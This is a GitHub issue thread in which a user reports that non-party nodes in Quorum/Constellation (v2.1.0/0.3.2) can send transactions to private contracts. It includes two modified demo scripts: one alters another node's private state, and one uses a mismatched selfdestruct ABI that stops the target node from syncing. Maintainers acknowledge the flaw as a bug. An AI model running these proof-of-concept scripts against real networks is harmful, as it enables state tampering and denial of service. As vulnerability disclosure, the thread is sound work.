Skip to content
This repository has been archived by the owner on Jul 18, 2023. It is now read-only.

Private transactions with potential bad actors #107

Closed
steveruckdashel opened this issue Sep 12, 2018 · 4 comments
Closed

Private transactions with potential bad actors #107

steveruckdashel opened this issue Sep 12, 2018 · 4 comments

Comments

@steveruckdashel
Copy link

We are attempting to understand how the Constellation network deals with possible bad actors that attempt to interact with private contracts they were not made a party to. In our testing, this can allow a bad actor to put a target peer in a bad state.

The 7node demo shows these step with a constellation private contract:

  1. Alice creates a contract with Bob as a party and an initial state
  2. Alice can read state
  3. Charlie cannot read state
  4. Bob can read state
  5. Alice then sends state update to Bob
  6. Charlie still cannot see the state
  7. Bob can see the updated state

But what happens when Charlie sends an update transaction to Alice?

This scenario is not explicitly disallowed and results in a bad block from Alice's perspective being sealed. The rest of the network believes this is a valid block. Alice will drop any peer connections to nodes that send this "bad block" to her. She is effectively disconnected from the network.

Shouldn't this scenario be disallowed?

Network Details:
Quorum v2.1.0
Constellation 0.3.2
IBFT Consensus
Alice, Bob and Charle are not validators.

@fixanoid
Copy link
Contributor

Hi @steveruckdashel. As of the versions you are citing the scenario you are proposing is possible since the private contract addresses are written in the chain. Our basic advice to counter this is that even private contracts must validate sender addresses as an authorized users allowed to interact with smart contracts. In the future releases of Tessera and Quorum this is going to be addresses as well through enforcing the party participation at contract creation step.

@steveruckdashel
Copy link
Author

@fixanoid, I reproduced the issue again both Tessera and Constellation using 7nodes. Here's the first modified private-contract.js that behaves as you are pointing out (run against node4).

a = eth.accounts[0]
web3.eth.defaultAccount = a;

// abi and bytecode generated from simplestorage.sol:
// > solcjs --bin --abi simplestorage.sol
var address = "0x1932c48b2bf8102ba33b4a6b545c32236e342f34";
var abi = [{"constant":true,"inputs":[],"name":"storedData","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"x","type":"uint256"}],"name":"set","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"get","outputs":[{"name":"retVal","type":"uint256"}],"payable":false,"type":"function"},{"inputs":[{"name":"initVal","type":"uint256"}],"payable":false,"type":"constructor"}];
var simpleContract = web3.eth.contract(abi).at(address);
var simple = simpleContract.set(4,{from:web3.eth.accounts[0], gas: 0x47b760, privateFor: ["BULeR8JyUWhiuuCMU/HLA0Q5pzkYT+cHII3ZKBey3Bo="]}, function(e, result) {
	if (e) {
		console.log("err creating contract", e);
	} else {
		console.log("Contract transaction send: " + result + " waiting to be mined...");
	}
});

Node 4 is able to successfully update the state of Node 1 to 4. Node 4 can still not read the state and node 7 sees the original value of 42.

Things go sideways when node 4 doesn't use the correct ABI for the smart contract. Here's my modified private-contract.js with inlaid solidity code used to generate the ABI:

a = eth.accounts[0]
web3.eth.defaultAccount = a;

/* abi and bytecode generated from:
pragma solidity ^0.4.23;

contract WrongContract {
	constructor() public {
	}

	function kill() public {
		selfdestruct(msg.sender);
	}
}
*/
var address = "0x1932c48b2bf8102ba33b4a6b545c32236e342f34";
var abi = [{"constant":false,"inputs":[],"name":"kill","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"}];
var simpleContract = web3.eth.contract(abi).at(address);
var simple = simpleContract.kill({from:web3.eth.accounts[0], gas: 0x47b760, privateFor: ["BULeR8JyUWhiuuCMU/HLA0Q5pzkYT+cHII3ZKBey3Bo="]}, function(e, result) {
	if (e) {
		console.log("err creating contract", e);
	} else {
		console.log("Contract transaction send: " + result + " waiting to be mined...");
	}
});

This causes node 1 to not sync past the block that contains the transaction. Node 7 (party to the contract) is fine. Will the party participation enforcement prevent this?

@fixanoid fixanoid reopened this Sep 25, 2018
@fixanoid
Copy link
Contributor

Hey @steveruckdashel there are several methods we are looking into here. One is to hide the address of the private contract from non-participants and the other approach is to enforce access to the private address only to the original participants. Both are being looked at and we should have some implementation by the end of the year.

As far as conditions described above, this seems like a bug, so we're gonna investigate it a little to see where its coming from.

@fixanoid
Copy link
Contributor

So looks like the error caused by wrong ABI should actually have been addressed on master with a recent pull. Could you retest with Quorum built off master? Thanks!

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants